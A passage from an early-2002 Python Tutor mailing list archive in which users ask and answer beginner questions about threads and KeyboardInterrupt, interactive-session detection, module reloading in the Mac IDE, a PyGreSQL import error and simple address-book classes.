hear some strange shuffling behind the door. *sigh* This is what I could cook up in thirty minutes, and I'm sure there's a better way to do this. From lonetwin Sat Feb 2 11:13:58 2002 From: lonetwin (lonetwin) Date: Sat, 2 Feb 2002 16:43:58 +0530 (IST) Subject: [Tutor] [Q] about threads Message-ID: Hi everybody, I'm playing around with threads using python on linux. Everthing is working fine ...but (everything seems to have a "but" ...right ?? :)) I can't seem to print a nice message and end the application, if there is a KeyboardInterrupt generated. As always I find saying things in code easier than expressing them in plain english, so here goes: within my main I have something like: ========================================= for i in range(numThreads): TestThread = TestApp(var, SharedLock) ThreadList.append(TestThread) for TestThread in ThreadList: TestThread.start() while threading.activeCount() > 1: pass doCleanUp() ========================================= ...and the class TestApp has something like: ========================================= def run(self): self.lock.acquire() doStuff() self.lock.release() ========================================== Now, if a KeyboardInterrupt exception is raised during the execution of doStuff(), how do I catch it, kill all the threads and exit the application, probably printing "Aieee ....I got killed" on the way ?? I tried placing try-except blocks at different places, but all I got done was exit the thread and print the message, somehow the other threads were quite comfortable with the fact that one of them is dead, they just go about their own business as though nothing has happened ... ......and like always, I'm going nuts, b'cos ... ...I just don't get it !!!! any help would be welcome, Peace Steve -- He who wonders discovers that this in itself is wonder. -- M.C. Escher From arcege@speakeasy.net Sat Feb 2 14:55:42 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Sat, 2 Feb 2002 09:55:42 -0500 Subject: [Tutor] KeyboardInterrupt handler In-Reply-To: <3C59C1E5.7060805@venix.com>; from pythontutor@venix.com on Thu, Jan 31, 2002 at 05:15:01PM -0500 References: <3C59C1E5.7060805@venix.com> Message-ID: <20020202095542.E1533@speakeasy.net> On Thu, Jan 31, 2002 at 05:15:01PM -0500, Lloyd Kvam wrote: > Would it be practical to write a KeyboardInterrupt handler that "resumed" execution? > > Since the debugger seems to do this kind of thing, I assume the traceback object and > its frame list could be used to accomplish a resume. (This is more idle curiosity than > any real need.) Searching Google, my books, and the manual failed to come up with > anything useful. You can't restart Python from a frame (there is a version of Python called "Microthreads" where you can handle continuations, but not in Python itself). The debugger doesn't do what you might think it does. There is a hook in the Python interpreter that can run code. The debugger carefully manages what code runs via this hook, and it can capture what exceptions are being handled. (cf. ) Typically, you'd write code that would reset what you are doing and continue in whatever you were doing. Most importantly, if you have something you are doing, then wrap it in a try-finally statement. For example, if you had a command interpreter. while 1: try: cmd = raw_input(prompt) ... if cmd == 'change': # call something that could potentially break if the user # interrupted make_change() # catch the exception and reset the interpreter except KeyboardInterrupt: reset() # maybe just print so the prompt starts in the first column def make_change(): try: os.rename('file', 'file.temp') inf = open('file.temp', 'rb') outf = open('file', 'wb') modify_file(inf, outf) inf.close() outf.close() # if there is an error, then the files will still be open, # and we will back-out the changes # in this case, if the user types ^C, we move the files back and # the exception gets back to the loop above to reset the command finally: if not outf.closed: # we didn't finish it outf.close() try: os.remove('file') except: pass inf.close() os.rename('file.temp', 'file') # otherwise, things completed successfully Most database extensions will have provisions for rolling back transactions. But you can do most everything in a similar way at some level. I had to do this same exact thing ten years ago, writing a bullet-proof command interpreter in Bourne shell. Using the debugging mechanism is not going to help much to handle rolling back operations like the above. Your original question is: would it be practical. My response is: if the user interrupted the program for a reason... should you resume at the same place? That might help you answer your question. -Arcege From rufmetal@rogers.com Sat Feb 2 15:40:40 2002 From: rufmetal@rogers.com (Chris Keelan) Date: Sat, 2 Feb 2002 10:40:40 -0500 Subject: [Tutor] help In-Reply-To: <20020131173722.55333.qmail@web13908.mail.yahoo.com> References: <20020131173722.55333.qmail@web13908.mail.yahoo.com> Message-ID: <20020202104040.1d4773af.rufmetal@rogers.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thu, 31 Jan 2002 09:37:22 -0800 (PST): In attempt to throw the authorities off his trail, james middendorff transmitted: > any way to clear it before it displays the menu again? import os os.system('clear') #for *nix os.system('cls') #for Windows/DOS Implementing a test for which os the script is running on is left as an exercise for the reader ;o) ~ C -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard iD8DBQE8XAhcs7Brp8Mn7wcRAgtDAJ9sa7hshDCx8ScMjtSBfCO2bx0W1gCfW8LL UJsrco0sr4r8efr25ZSDDWM= =MxqV -----END PGP SIGNATURE----- From pythontutor@venix.com Sat Feb 2 17:10:22 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Sat, 02 Feb 2002 12:10:22 -0500 Subject: [Tutor] KeyboardInterrupt handler References: <3C59C1E5.7060805@venix.com> <20020202095542.E1533@speakeasy.net> Message-ID: <3C5C1D7E.9030108@venix.com> Thanks very much! I was running one of my Python programs that produces a report. This run took an unusually long time. It struck me that an interrupt handler that displayed some progress information and offered a chance to cancel or resume could be useful. Michael P. Reilly wrote: > On Thu, Jan 31, 2002 at 05:15:01PM -0500, Lloyd Kvam wrote: > >>Would it be practical to write a KeyboardInterrupt handler that "resumed" execution? >> >>Since the debugger seems to do this kind of thing, I assume the traceback object and >>its frame list could be used to accomplish a resume. (This is more idle curiosity than >>any real need.) Searching Google, my books, and the manual failed to come up with >>anything useful. >> > > You can't restart Python from a frame (there is a version of Python > called "Microthreads" where you can handle continuations, but not in > Python itself). > > The debugger doesn't do what you might think it does. There is a hook > in the Python interpreter that can run code. The debugger carefully > manages what code runs via this hook, and it can capture what exceptions > are being handled. > (cf. ) > > Typically, you'd write code that would reset what you are doing and > continue in whatever you were doing. Most importantly, if you have > something you are doing, then wrap it in a try-finally statement. > For example, if you had a command interpreter. > > while 1: > try: > cmd = raw_input(prompt) > ... > if cmd == 'change': > # call something that could potentially break if the user > # interrupted > make_change() > # catch the exception and reset the interpreter > except KeyboardInterrupt: > reset() # maybe just print so the prompt starts in the first column > > def make_change(): > try: > os.rename('file', 'file.temp') > inf = open('file.temp', 'rb') > outf = open('file', 'wb') > modify_file(inf, outf) > inf.close() > outf.close() > # if there is an error, then the files will still be open, > # and we will back-out the changes > # in this case, if the user types ^C, we move the files back and > # the exception gets back to the loop above to reset the command > finally: > if not outf.closed: # we didn't finish it > outf.close() > try: > os.remove('file') > except: > pass > inf.close() > os.rename('file.temp', 'file') > # otherwise, things completed successfully > > Most database extensions will have provisions for rolling back > transactions. But you can do most everything in a similar way at > some level. I had to do this same exact thing ten years ago, writing > a bullet-proof command interpreter in Bourne shell. Using the > debugging mechanism is not going to help much to handle rolling back > operations like the above. > > Your original question is: would it be practical. My response is: if > the user interrupted the program for a reason... should you resume at > the same place? That might help you answer your question. > > -Arcege > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From csmith@blakeschool.org Sat Feb 2 17:22:22 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sat, 02 Feb 2002 11:22:22 -0600 Subject: [Tutor] Re: sitecustomize and pythonstartup In-Reply-To: References: Message-ID: >On Sat, 2 Feb 2002, Jack Jansen wrote: >> > Yes, it's possible. If we add the following fragment to our >> > sitecustomize.py: >> > >> > ### >> > import math >> > import __builtin__ >> > __builtin__.math = math >> > del math >> > ### >> >> But this will not only make it show up in interactive >> interpreters, it will also make it show up globally, in every >> module. I'm not sure this is a good idea... > > >Good point! Yikes..., ok if we want this automatic math import to work on >interactive sessions without completely munging every other library in >Python, perhaps we can employ a variation of the tricky code that >pydoc.help() uses to try detecting if a session is interactive: > > >### >import inspect >def isInteractive(): > """Returns 1 if we're running in an interpreter window, and false > otherwise. At least, it tries to. This is a variation of what > pydoc.help() tries.""" > return inspect.stack()[-1][1:4] == (None, 1, "?") >### > >The idea of this is to look at the very end of the frame stack, and if the >following three characteristics hold: > > 1. The "file" part of the frame is None. > 2. We're on line number 1. > 3. We have no clue what function we're in. ("?") > >then we're probably in interactive mode. > > >And speaking of no clue... I have NO clue if this will work on an IDE. I >think that other IDE's actually set the "file name" to something other >than "None", so perhaps this heuristic needs to be relaxed. Does anyone >know a better way of testing if we're in interactive mode or not? Your code is very close to working in the IDE. It didn't initially, so I printed out the contents of the stack() and saw that on the Mac the (None, 1, "?") appears up toward the top after lines telling what current function is running. So to make the code work I had to change your [-1] to a [2] and then it works fine: math is automatically loaded and available to the interactive display. Unfortunately, it also enabled a call to math that occured in the first line of a script!? The problem was that the (None, 1, "?") tuple appears in the stack of an untitled new script which has, as it's first line, "print math.pi" :-) So, I looked at the stack again and saw that PyInteractive appeared in the next line whereas the stack for a script contains PyEdit instead, so there, I think is the way to know if you are in the Interactive window or not. The new code for sitecustomize.py is below and will work, I believe as long as the name of the Interactive script doesn't change from PyInteractive. It will also break if some other functions are running before the call to _InteractiveMath (e.g. the __getattr__ appears on the stack above the line telling that PyInteractive is running and that's what makes you have to read further down in the stack to [3] to find the PyInteractive). #### def isInteractive(): """Returns 1 if we're running in an interpreter window, and false otherwise. This is a variation of what pydoc.help() tries.""" """ return inspect.stack()[3][1].find("PyInteractive")<>0 > >class _InteractiveMath: > def __repr__(self): > if isInteractive(): > import math > return repr(math) > else: > raise NameError, 'name "math" is not defined' > > def __getattr__(self, attr): > if isInteractive(): > import math > return getattr(math, attr) > else: > raise NameError, 'name "math" is not defined' > >import __builtin__ >__builtin__.math = _InteractiveMath() >### Perhaps this could be extended now to look for module aliases in a folder like "AutoLoad" and automatically load these at startup, too. (I would copy the behavior of the present sitecustomize script that ships with the mac version which appends search paths to sys.path.) Thanks for the help, all. (Now, thanks to the point from Just, I will take a look at getting the reset to work in the IDE.) /c From mikalzet@libero.it Sat Feb 2 17:33:42 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Sat, 2 Feb 2002 18:33:42 +0100 (CET) Subject: [Tutor] PyGreSQL problem In-Reply-To: <3C5C1D7E.9030108@venix.com> Message-ID: I'm using Python 2.1.1 on a linux mandrake 8.1 system. The supplied module for interfacing with Postgres is PyGreSQL. On python.org/topics/database/modules the voice links to http://www.druid.net/pygresql The relevant readme says that the module may be used in two ways: 1) import _pg : not api 2.0 compliant; it then goes on to describe how it works; 2) import pgdb : api 2.0 compliant wrapper; to use this it says to go to api 2 documentation But if I try this I get: Traceback (most recent call last): File "", line 1, in ? File "/usr/lib/python2.1/site-packages/pgdb.py", line 65, in ? except ImportError: import DateTime ImportError: No module named DateTime so which DateTime module is it looking for ? -- Michele Alzetta From urnerk@qwest.net Sat Feb 2 17:40:53 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sat, 02 Feb 2002 09:40:53 -0800 Subject: [Tutor] idle and redhat In-Reply-To: <1012628636.7615.2.camel@milarepa> Message-ID: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus> > >I have started to use IDLE and have not been able to find >out how to get IDLE to use python 2.1 instead of 1.5.2 in >this redhat 7.2 environ. Any >tips? > >thanks in advance. > >Chris Each Python version should have its own IDLE. The 2.1 version might not have installed it by default, if you compiled your own. I think it's in a /Tools subdirectory, and you may need to use dsutils to install it -- only did it once on Mandrake Linux, so I'm not the most expert here. But I do think you want to have a separate IDLE for each version of Python you run. Kirby From csmith@blakeschool.org Sat Feb 2 17:54:02 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sat, 02 Feb 2002 11:54:02 -0600 Subject: [Tutor] Re: sitecustomize and pythonstartup In-Reply-To: References: Message-ID: >#### >def isInteractive(): > """Returns 1 if we're running in an interpreter window, and false > otherwise. This is a variation of what pydoc.help() tries.""" > > """ > return inspect.stack()[3][1].find("PyInteractive")<>0 > Well...this doesn't quite work because in a script, [3][1] might return None which doesn't support the find function. SO...rather than guess where that PyInteractive might be I just turned the whole stack into a string and looked for it. The only problem with that is that even in a script, the stack will contain the word "PyInteractive" because that is the text that is being searched for. SO...I just pulled out element [1] from the stack and search through it for "PyInteractive" and that works: def isInteractive(): . . . return str([x[1] for x in inspect.stack()]).find("PyInteractive")>-1 So math can now be accessed at the interpreter's prompt and within a function: >>> def f(): ... print math.pi ... >>> f() 3.14159265359 >>> math.pi 3.1415926535897931 >>> So the IDE now behaves like the Interpreter in this regard. In a script created within the IDE, both of the the following attempts at printing pi fail (as they should): print math.pi def f(): print math.pi f() /c From pythontutor@venix.com Sat Feb 2 18:07:21 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Sat, 02 Feb 2002 13:07:21 -0500 Subject: [Tutor] PyGreSQL problem References: Message-ID: <3C5C2AD9.3010509@venix.com> My best guess is the Lemburg mxDateTime module. http://www.lemburg.com/files/python/mxDateTime.html mxDateTime - Date/time types for Python The mx doesn't appear in your Python code. simply import DateTime and you are in business. This is a very comprehensive module. mikalzet@libero.it wrote: > I'm using Python 2.1.1 on a linux mandrake 8.1 system. > The supplied module for interfacing with Postgres is > PyGreSQL. > > On python.org/topics/database/modules the voice links to > http://www.druid.net/pygresql > > The relevant readme says that the module may be used in two ways: > > 1) import _pg : not api 2.0 compliant; it then goes on to describe how > it works; > > 2) import pgdb : api 2.0 compliant wrapper; to use this it says to go to > api 2 documentation > > But if I try this I get: > > Traceback (most recent call last): > File "", line 1, in ? > File "/usr/lib/python2.1/site-packages/pgdb.py", line 65, in ? > except ImportError: import DateTime > ImportError: No module named DateTime > > so which DateTime module is it looking for ? > > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From csmith@blakeschool.org Sat Feb 2 22:45:39 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sat, 02 Feb 2002 16:45:39 -0600 Subject: [Tutor] RE: reset and IDE In-Reply-To: <20020202081542-r01010800-eb2e2c7b-0920-010c@10.0.0.23> References: <20020202081542-r01010800-eb2e2c7b-0920-010c@10.0.0.23> Message-ID: just@letterror.com writes: >Christopher Smith wrote: > >> 1) If I wanted to build a copy of the IDE with this as the default >> behavior, where do I have to insert this code? (I was unable to find >> where a press on the "Run All" button takes you in terms of program >flow.) > >Have a look at PyEdit.py, the run() method of the Editor class. Thanks for the pointer, Just. Here's what I've come up with so far. In the _run function I have inserted a modification of Jesse W's reset code (as advertised on tutor). It implements a total reload of modules, whether they have been changed or not. I am not yet sure how to find out which ones have been changed and actually need reloading. In addition, I have preserved Jesse's user_safe_items option which allows you to specify things that shouldn't be reloaded. I'm not sure at this point why that might be needed so maybe the best bet is to leave it out. One of the problems it has right now is that the user_safe_items are only paid attention to the *2nd* time that the script is run. For example, let's say you ran the script with imported module A and you didn't have any user_safe_items defined. Then you make modifications to A but don't want those changes read so you add the line user_safe_items=['A'] to your script. When you run it, the present modifications to the _run definition don't honor that change to the script so module A is re-read anyway. It won't be re-read the next time you run the script, though. This might be because until the code is executed, this new variable doesn't yet exist in the namespace. I think this is why the reverse happens, too. If you now remove the user_safe_items line from your script, module A won't be read the first time, but it will be read the next time the script is run. Does anyone have some thoughts on this? What might someone *not* want wiped out between runs? Is it worth figuring out which modules actually need reloading or not? Perhaps one could fund out which modules actually need reloading by checking the modification dates on the .py and the .pyc files and see if the .py is newer and only then reload the module. HERE'S WHAT IT CATCHES NOW -------------------------- #x=1 was changed to y=1 but print x was not changed; #x is flagged as not being defined #y=1 #print x #print 'f' in function f was changed to print 'g'; #it does so correctly #def f(): # print 'g' #f() #a module was imported and then changed; the modified #module is re-loaded and shows the changed behavior import ext ext.ex() HERE'S THE MODIFICATION TO THE _run DEFINITION ---------------------------------------------- def _run(self): if self.run_with_interpreter: if self.editgroup.editor.changed: import EasyDialogs import Qd; Qd.InitCursor() save = EasyDialogs.AskYesNoCancel('Save "%s" before running?' % self.title, 1) if save > 0: if self.domenu_save(): return elif save < 0: return if not self.path: raise W.AlertError, "Can't run unsaved file" self._run_with_interpreter() else: pytext = self.editgroup.editor.get() globals, file, modname = self.getenvironment() #-------cps addition (note: the namespace is called "globals") safe_items=['__builtins__', '__doc__', '__file__', '__name__'] if 'user_safe_items' in globals.keys(): safe_items+=globals['user_safe_items'] for item in globals.keys(): if item not in safe_items: if str(type(globals[item]))=="": exec "reload("+item+")" in globals else: exec ("del "+item) in globals #-------end cps addition self.execstring(pytext, globals, globals, file, modname) -------------- /c From csmith@blakeschool.org Sat Feb 2 23:08:02 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Sat, 02 Feb 2002 17:08:02 -0600 Subject: [Tutor] cls in the IDE Message-ID: I believe this issue has been addressed on the Windows/Unix? systems but it perisists as far as I can tell on the Mac: how to clear the output window. I have been poking around in the code for the Mac's IDE and found the place that clears the screen of the output window. In order to issue a clear screen command I think that one would simply need a module like this: def cls(): import PyConsole PyConsole.PyOutput.clearbuffer(X) where X is the instance of the PyOutput window...which I don't know how to get. Can anyone help me here? The actual error I get when trying to execute a PyConsole.PyOutput.clearbuffer() command is unbound method clearbuffer() must be called with PyOutput instance as first argument (got NoneType instance instead). I see that in PythonIDEMain there is the command PyConsole.installoutput() which I assume creates the output window. If so, am I doomed because the instance information has not been stored anywhere? Thanks for any assistance. /c From bigal@geosci.uchicago.edu Sat Feb 2 22:25:53 2002 From: bigal@geosci.uchicago.edu (Alistair McGowan) Date: Sat, 2 Feb 2002 17:25:53 -0500 Subject: [Tutor] Problem with module Message-ID: --============_-1199433740==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" Dear Python Wranglers, Finally I am making the transition from BASIC. Most impressed by Python after the horrific encounters I had with C, which frustrated me so much I gave up.. I am having some problems getting a couple of programs in Ivan Van Laningham's otherwise great TY Python book to run. In case it makes any difference I am working on a Mac in OS 9. My stumbling block is the if __name__ == "_main_" : Here is the code, which I have tried to run both as a script and within the interpreter. I can get the syntax error indicator to move around in the lines by in the _name_ part of the line, but can't get it to run. I tried substituting console for main in the IDE. I have tried various iterations of the line spacing and numer to no avail. I also tried the MacPython site to look for some model code. I tried inserting the above line with only single quotes, but no joy. Apologies if this is a trival problem, but I hope I can repay the favor in the future. Cheers, Al def c (p) : spy = 60*60*24*365.2422 n = long (spy)*long (p) return n if _name_ == "__main__" : n = c (186000) print n Alistair J. McGowan Department of Geophysical Sciences, University of Chicago Chicago IL 60637 Phone: 773-955-4040 x5-1170 Fax: 773-702-9505 "Hope is a duty from which paleontologists are exempt." David Quammen --============_-1199433740==_ma============ Content-Type: text/enriched; charset="us-ascii" Dear Python Wranglers, Finally I am making the transition from BASIC. Most impressed by Python after the horrific encounters I had with C, which frustrated me so much I gave up.. I am having some problems getting a couple of programs in Ivan Van Laningham's otherwise great TY Python book to run. In case it makes any difference I am working on a Mac in OS 9. My stumbling block is the if __name__ == "_main_" : Here is the code, which I have tried to run both as a script and within the interpreter. I can get the syntax error indicator to move around in the lines by in the _name_ part of the line, but can't get it to run. I tried substituting console for main in the IDE. I have tried various iterations of the line spacing and numer to no avail. I also tried the MacPython site to look for some model code. I tried inserting the above line with only single quotes, but no joy. Apologies if this is a trival problem, but I hope I can repay the favor in the future. Cheers, Al Genevadef c (p) : spy = 60*60*24*365.2422 n = long (spy)*long (p) return n if _name_ == "__main__" : n = c (186000) print n Alistair J. McGowan Department of Geophysical Sciences, University of Chicago Chicago IL 60637 Phone: 773-955-4040 x5-1170 Fax: 773-702-9505 "Hope is a duty from which paleontologists are exempt." David Quammen --============_-1199433740==_ma============-- From cheshire_cat_sf@yahoo.com Sun Feb 3 00:29:48 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sat, 2 Feb 2002 16:29:48 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? In-Reply-To: Message-ID: <20020203002948.83454.qmail@web14103.mail.yahoo.com> Hello Everyone, Here is the problem I'm having: I've decided to write a very simple, basic text adventure as a way of learning more about Python. For this game I've created a simple class called Rooms. I'd like to know the best way to instantiate several dozen of these rooms? I know I could do something like: theKitchen = Room(...) thePorch = Room(...) theWineCellar = Room(...) but this seems cumbersome and it won't scale. I thought I could create a list of Rooms but that seems like a cludge as well. I know that in C I could create an array of objects and access them by their number. Would doing something like this in Python be the best way to do this? Or is there something else I should try? Thanks to everyone who's helping me out. When I'm famous and wealthy, I promise to remember you all! ;) Britt ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Great stuff seeking new owners in Yahoo! Auctions! http://auctions.yahoo.com From pythontutor@venix.com Sun Feb 3 00:43:08 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Sat, 02 Feb 2002 19:43:08 -0500 Subject: [Tutor] Problem with module References: Message-ID: <3C5C879C.9000801@venix.com> def c(p): spy = 60*60*24*365.2422 n = long (spy)*long (p) return n if __name__ == "__main__" : n = c(186000) print n Both name and main are surrounded by double underscores. When I pasted from your email, name only had single underscores. Including the traceback with your problem makes it a LOT easier to solve! Try pasting this back into a script and see how you do. Alistair McGowan wrote: > Dear Python Wranglers, > Finally I am making the transition from BASIC. Most impressed by Python > after the horrific encounters I had with C, which frustrated me so much > I gave up.. I am having some problems getting a couple of programs in > Ivan Van Laningham's otherwise great TY Python book to run. In case it > makes any difference I am working on a Mac in OS 9. My stumbling block > is the > if __name__ == "_main_" : > > > Here is the code, which I have tried to run both as a script and within > the interpreter. I can get the syntax error indicator to move around in > the lines by in the _name_ part of the line, but can't get it to run. I > tried substituting console for main in the IDE. I have tried various > iterations of the line spacing and numer to no avail. I also tried the > MacPython site to look for some model code. I tried inserting the above > line with only single quotes, but no joy. Apologies if this is a trival > problem, but I hope I can repay the favor in the future. > Cheers, > Al > > def c (p) : > spy = 60*60*24*365.2422 > n = long (spy)*long (p) > return n > if _name_ == "__main__" : > n = c (186000) > print n > Alistair J. McGowan > Department of Geophysical Sciences, > University of Chicago > Chicago > IL 60637 > > Phone: 773-955-4040 x5-1170 > Fax: 773-702-9505 > > "Hope is a duty from which paleontologists are exempt." > David Quammen -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From urnerk@qwest.net Sun Feb 3 02:36:58 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sat, 02 Feb 2002 18:36:58 -0800 Subject: [Tutor] Instantiating large numbers of objects? In-Reply-To: <20020203002948.83454.qmail@web14103.mail.yahoo.com> References: Message-ID: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus> > >Thanks to everyone who's helping me out. When I'm famous >and wealthy, I promise to remember you all! ;) > >Britt If you have lots of detailed, specific room info, then there's no substitute for having this info *somewhere*. You can have it in the code (it scales if you add to the code) or you can have it in a file, which your code reads, and uses to create objects. Where should these objects live? We've talked about putting them in a dictionary, where they can be accessed by name. We've also looked at adding new objects to globals e.g. by going: globals()['thegreathall']=Room() A dungeon or castle is a sophisticated data structure (potentially). Rooms exit to other rooms, so one approach is to save where the exits go, as attributes of the rooms. You could have Connection objects and use composition I suppose, e.g. class Kitchen(Room): def __init__(self): self.exit1 = Connection("Hall") self.exit2 = Connection("DiningRoom") In this model, rooms are class definitions, not just instantiations of Rooms. Given the info associated with each room, this might work better. Detailed advice is difficult, because what shapes the design is the overall structure and purpose of the game or whatever. Just knowing you want "a lot of rooms" is an insufficient basis for more than a few tips. So I'll be quiet now. Kirby Kirby From ainsoph3@attbi.com Sun Feb 3 03:52:25 2002 From: ainsoph3@attbi.com (chris schwan) Date: 02 Feb 2002 19:52:25 -0800 Subject: [Tutor] idle and redhat In-Reply-To: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus> References: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus> Message-ID: <1012708346.2611.1.camel@milarepa> On Sat, 2002-02-02 at 09:40, Kirby Urner wrote: > Each Python version should have its own IDLE. The 2.1 > version might not have installed it by default, if > you compiled your own. I think it's in a /Tools > subdirectory, and you may need to use dsutils to > install it -- only did it once on Mandrake Linux, so > I'm not the most expert here. But I do think you want > to have a separate IDLE for each version of Python you > run. > > Kirby Kirby, Thanks a bunch.. It turns out I was using the redhat 7.2 rpms of 2.1, they do not include tools and a bunch of stuff, so i ditched it for 2.2, and now I have the right IDLE. thanks a bunch. C. From wilson@isis.visi.com Sun Feb 3 04:20:17 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Sat, 2 Feb 2002 22:20:17 -0600 (CST) Subject: [Tutor] container class Message-ID: Hi everyone, I've just put together a couple classes here investigating how to do a container class. Does the following seem reasonable? There isn't yet enough for any sort of useful program, but I think it shows my train of thought. Any feedback appreciated. -Tim # PyAddress, a simple program to organize names and addresses # by Tim Wilson class AddressBook: def __init__(self): """Initialize an empty address book.""" self.contents = {} def addEntry(self, entry): """Add an entry to the address book. Argument: entry -- An AddressBookEntry instance """ self.contents[entry.ln + entry.fn] = entry def printBook(self): """Print the contents of the address book.""" print "%-20s %-12s" % ('Name', 'Phone') print '='*33 k = self.contents.keys() k.sort() for name in k: entry = self.contents[name] print entry class AddressBookEntry: def __init__(self, fn, ln, phone='', email=''): """Construct a new entry for the address book. Arguments: fn -- first name ln -- last name phone -- phone number email -- email address """ self.fn = fn self.ln = ln self.phone = phone self.email = email def __str__(self): """One-line version of entry info.""" name = self.ln + ', ' + self.fn return "%-20s %-12s" % (name, self.phone) def details(self): """Print the full entry record.""" print self.fn, self.ln print '=' * (len(self.fn) + len(self.ln) + 1) print "Phone: %s" % self.phone print "Email: %s" % self.email -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From paulsid@shaw.ca Sun Feb 3 05:35:09 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sat, 02 Feb 2002 22:35:09 -0700 Subject: [Tutor] container class References: Message-ID: <3C5CCC0D.10EBC6F6@shaw.ca> Tim Wilson wrote: > I've just put together a couple classes here investigating how to do a > container class. Does the following seem reasonable? There isn't yet > enough for any sort of useful program, but I think it shows my train of > thought. Any feedback appreciated. Strictly speaking, I don't believe these aren't container classes. A container class to me is a generic class that can contain any type of object. Python already provides a bunch of 'em (list, dictionary, etc.). Anyhow, that's just a terminology thing. I know what you meant. > # PyAddress, a simple program to organize names and addresses > # by Tim Wilson This should maybe be a module docstring. Otherwise, good use of docstrings throughout! > class AddressBook: > def __init__(self): > """Initialize an empty address book.""" > self.contents = {} For maximum flexibility I suggest adding the capability to pass an optional list of initializing entries: def __init__(self, initlist=[]): """Initialize an empty address book.""" self.contents = {} for entry in initlist: self.addEntry(entry) In fact, you could even put the last two lines in an addListOfEntries() method which could then be used independently. It may be handy for file I/O, copying/pasting of entries, etc. Given that a minimal amount of effort is needed and the fact you're taking a "container class approach", it certainly seems worth it. > self.contents[entry.ln + entry.fn] = entry You may want to consider indexing your dictionary like this: self.contents[(entry.ln, entry.fn)] This is a little clearer IMO. Furthermore, with your method there is a very small possibility of collision for people with different names. Consider 1) fn="paul", ln="adamson" and 2) fn="paula", ln="damson". Both would yield "pauladamson" as a key name. Granted this is a contrived example, but problems like this do show up in the real world quite a bit and are _EXTREMELY_ hard to track down, so I think it's best to learn to watch for them and then get into the habit of preventing them at the earliest possible stage. > for name in k: > entry = self.contents[name] > print entry I'm not sure where others stand on creating single-use variables ('entry' in the case above), but my personal feeling is they normally aren't necessary and tend to clutter up code. That's more of a personal preference thing though. > def __str__(self): > """One-line version of entry info.""" > name = self.ln + ', ' + self.fn > return "%-20s %-12s" % (name, self.phone) Exception to above - the 'name' variable makes the display string much easier to use/maintain. All in all, it looks very good! Actually this is a very nice example of class usage in a situation where it's very tempting not to bother with a class in the first place. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From paulsid@shaw.ca Sun Feb 3 05:45:20 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sat, 02 Feb 2002 22:45:20 -0700 Subject: [Tutor] container class References: <3C5CCC0D.10EBC6F6@shaw.ca> Message-ID: <3C5CCE70.C3DED99F@shaw.ca> Paul Sidorsky wrote: > > self.contents[entry.ln + entry.fn] = entry > Consider 1) fn="paul", ln="adamson" and 2) fn="paula", ln="damson". > Both would yield "pauladamson" as a key name. Whoops, misread the concatenation order, so my example is wrong. It works if you swap fn and ln in each case, though then the actual names don't really make sense. I'm too lazy to come up with reasonable-sounding names for another example, so hopefully the essence of my point was not lost... -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From Ciaguy@aol.com Sat Feb 2 17:34:46 2002 From: Ciaguy@aol.com (Ciaguy@aol.com) Date: Sat, 2 Feb 2002 12:34:46 EST Subject: [Tutor] Newbie Message-ID: <46.21e081ac.298d7d36@aol.com> I recently bought "SAMS Teach Yourself Python in 24 Hours." Hour #2 suggests I sign up for the Tutor mailing list. How to do this? Background: I wish to teach myself to write programs for my computer. I have absolutely no experience. I am probably around 10 notches below beginner level. I am no math whiz. I am just a 60 y/o male with only a keen desire to teach myself a programming language. Friends(?) have suggested I start with XBasic, Liberty Basic, Visual Basic, or even C++ (Wrong!). Will Python be a good "idiot" user friendly language for self teachers, such as myself? Thanks for any advice or input. Sincerely, Wolf From mks99@t-online.de Sat Feb 2 19:25:59 2002 From: mks99@t-online.de (=?iso-8859-1?Q?Markus_Sch=F6nhaber?=) Date: Sat, 2 Feb 2002 20:25:59 +0100 Subject: [Tutor] Re: Why it does NOT work on Linux ? References: <3C5AAA9E.18034.11AB3F0@localhost> Message-ID: <000901c1ac1f$781796a0$012aa8c0@sauron> > I have the following part of program that finds ItemID numbers. > Here, for example, are two > 146759 and 146700 . > This program works well under windows but on Linux it does not > find any number. Can you please help? > Thanks. > Ladislav > > #################### > import re > Text=""" > href="lead.asp?ItemID=146759">[CN] Oak, Foiled & Antique > Furniture > 18/12/2001 > > href="lead.asp?ItemID=146700">[CN] Oak, Foiled & Antique > Furniture > 18/12/2001 > """ > > IDs=re.compile('.* 